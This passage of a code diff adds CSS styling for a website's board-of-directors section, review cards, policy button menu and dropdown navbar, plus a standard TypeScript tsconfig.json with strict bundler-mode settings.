bold; 276 + text-align: center; 277 + } 278 + 279 + #board-of-directors h3 { 280 + font-size: 1.6rem; 281 + color: #333; 282 + margin-top: 20px; 283 + font-weight: bold; 284 + } 285 + 286 + #board-of-directors p { 287 + font-size: 1rem; 288 + color: #555; 289 + line-height: 1.6; 290 + } 291 + 292 + /* Board member layout */ 293 + .board-member { 294 + display: flex; 295 + align-items: center; 296 + margin-bottom: 20px; 297 + padding: 15px; 298 + background-color: #f9f9f9; 299 + border: 1px solid #ddd; 300 + border-radius: 8px; 301 + } 302 + 303 + .board-member-image { 304 + margin-right: 20px; 305 + flex-shrink: 0; 306 + } 307 + 308 + .board-member-image img { 309 + width: 100px; /* Fixed size for the image */ 310 + height: 100px; 311 + border-radius: 50%; /* Make the image circular */ 312 + object-fit: cover; /* Ensures the image fits within the circle */ 313 + } 314 + 315 + .board-member-info { 316 + flex-grow: 1; 317 + } 318 + 319 + .board-member-info h4 { 320 + font-size: 1.4rem; 321 + color: #333; 322 + margin: 0; 323 + font-weight: bold; 324 + } 325 + 326 + .board-member-info p { 327 + font-size: 1rem; 328 + color: #555; 329 + margin-top: 5px; 330 + line-height: 1.6; 331 + } 332 + 333 + /* Add hover effect for the board member items */ 334 + .board-member:hover { 335 + background-color: #eef2f9; 336 + box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); 337 + cursor: pointer; 338 + } 339 + 340 + /* Policy Menu Styling*/ 341 + .button-menu { 342 + display: flex; 343 + justify-content: center; 344 + gap: 20px; 345 + margin-bottom: 40px; 346 + } 347 + 348 + .button-menu a { 349 + display: inline-block; 350 + padding: 15px 30px; 351 + background-color: #c62828; 352 + color: #fff; 353 + font-size: 16px; 354 + text-decoration: none; 355 + border-radius: 4px; 356 + text-align: center; 357 + transition: background-color 0.3s ease; 358 + } 359 + 360 + .button-menu a:hover { 361 + background-color: #b71c1c; 362 + } 363 + 364 + .button-menu a:active { 365 + background-color: #002244; 366 + } 367 + 368 + /* Reviews for index*/ 369 + .reviews-container { 370 + max-width: 1200px; 371 + margin: 20px auto; 372 + padding: 20px; 373 + } 374 + .review { 375 + display: flex; 376 + align-items: center; 377 + background-color: white; 378 + padding: 20px; 379 + margin-bottom: 20px; 380 + border-radius: 8px; 381 + box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); 382 + } 383 + .review img { 384 + width: 100px; 385 + height: 100px; 386 + border-radius: 50%; 387 + object-fit: cover; 388 + margin-right: 20px; 389 + } 390 + .review-content { 391 + max-width: 800px; 392 + } 393 + .review-content h3 { 394 + margin-top: 0; 395 + color: #333; 396 + } 397 + .review-content p { 398 + color: #555; 399 + font-size: 1rem; 400 + line-height: 1.5; 401 + } 402 + .review-content p:last-child { 403 + font-style: italic; 404 + color: #333; 405 + } 406 + 407 + /* Dropdown nav bar */ 408 + 409 + /* Navbar container */ 410 + .navbar { 411 + overflow: hidden; 412 + background-color: #b71c1c; 413 + } 414 + 415 + /* Links inside the navbar */ 416 + 417 + .navbar a { 418 + float: left; 419 + font-size: 16px; 420 + color: white; 421 + text-align: center; 422 + padding: 14px 16px; 423 + text-decoration: none; 424 + } 425 + 426 + /* The dropdown container */ 427 + .dropdown { 428 + float: left; 429 + overflow: hidden; 430 + } 431 + 432 + /* Dropdown button */ 433 + .dropdown .dropbtn { 434 + font-size: 16px; 435 + border: none; 436 + outline: none; 437 + color: white; 438 + padding: 14px 16px; 439 + background-color: inherit; 440 + font-family: inherit; /* Important for vertical align on mobile phones */ 441 + margin: 0; /* Important for vertical align on mobile phones */ 442 + } 443 + 444 + /* Add a red background color to navbar links on hover */ 445 + .navbar a:hover, .dropdown:hover .dropbtn { 446 + background-color: #9a1a1a; 447 + } 448 + 449 + /* Dropdown content (hidden by default) */ 450 + .dropdown-content { 451 + display: none; 452 + position: absolute; 453 + background-color: #f9f9f9; 454 + min-width: 160px; 455 + box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2); 456 + z-index: 1; 457 + } 458 + 459 + /* Links inside the dropdown */ 460 + .dropdown-content a { 461 + float: none; 462 + color: black; 463 + padding: 12px 16px; 464 + text-decoration: none; 465 + display: block; 466 + text-align: left; 467 + } 468 + 469 + /* Add a grey background color to dropdown links on hover */ 470 + .dropdown-content a:hover { 471 + background-color: #ddd; 472 + } 473 + 474 + /* Show the dropdown menu on hover */ 475 + .dropdown:hover .dropdown-content { 476 + display: block; 477 + } 478 + 479 + .topnav-right { 480 + float: right; 481 + }
+29
tsconfig.json
··· 1 + { 2 + "compilerOptions": { 3 + // Environment setup & latest features 4 + "lib": ["ESNext"], 5 + "target": "ESNext", 6 + "module": "Preserve", 7 + "moduleDetection": "force", 8 + "jsx": "react-jsx", 9 + "allowJs": true, 10 + 11 + // Bundler mode 12 + "moduleResolution": "bundler", 13 + "allowImportingTsExtensions": true, 14 + "verbatimModuleSyntax": true, 15 + "noEmit": true, 16 + 17 + // Best practices 18 + "strict": true, 19 + "skipLibCheck": true, 20 + "noFallthroughCasesInSwitch": true, 21 + "noUncheckedIndexedAccess": true, 22 + "noImplicitOverride": true, 23 + 24 + // Some stricter flags (disabled by default) 25 + "noUnusedLocals": false, 26 + "noUnusedParameters": false, 27 + "noPropertyAccessFromIndexSignature": false 28 + } 29 + }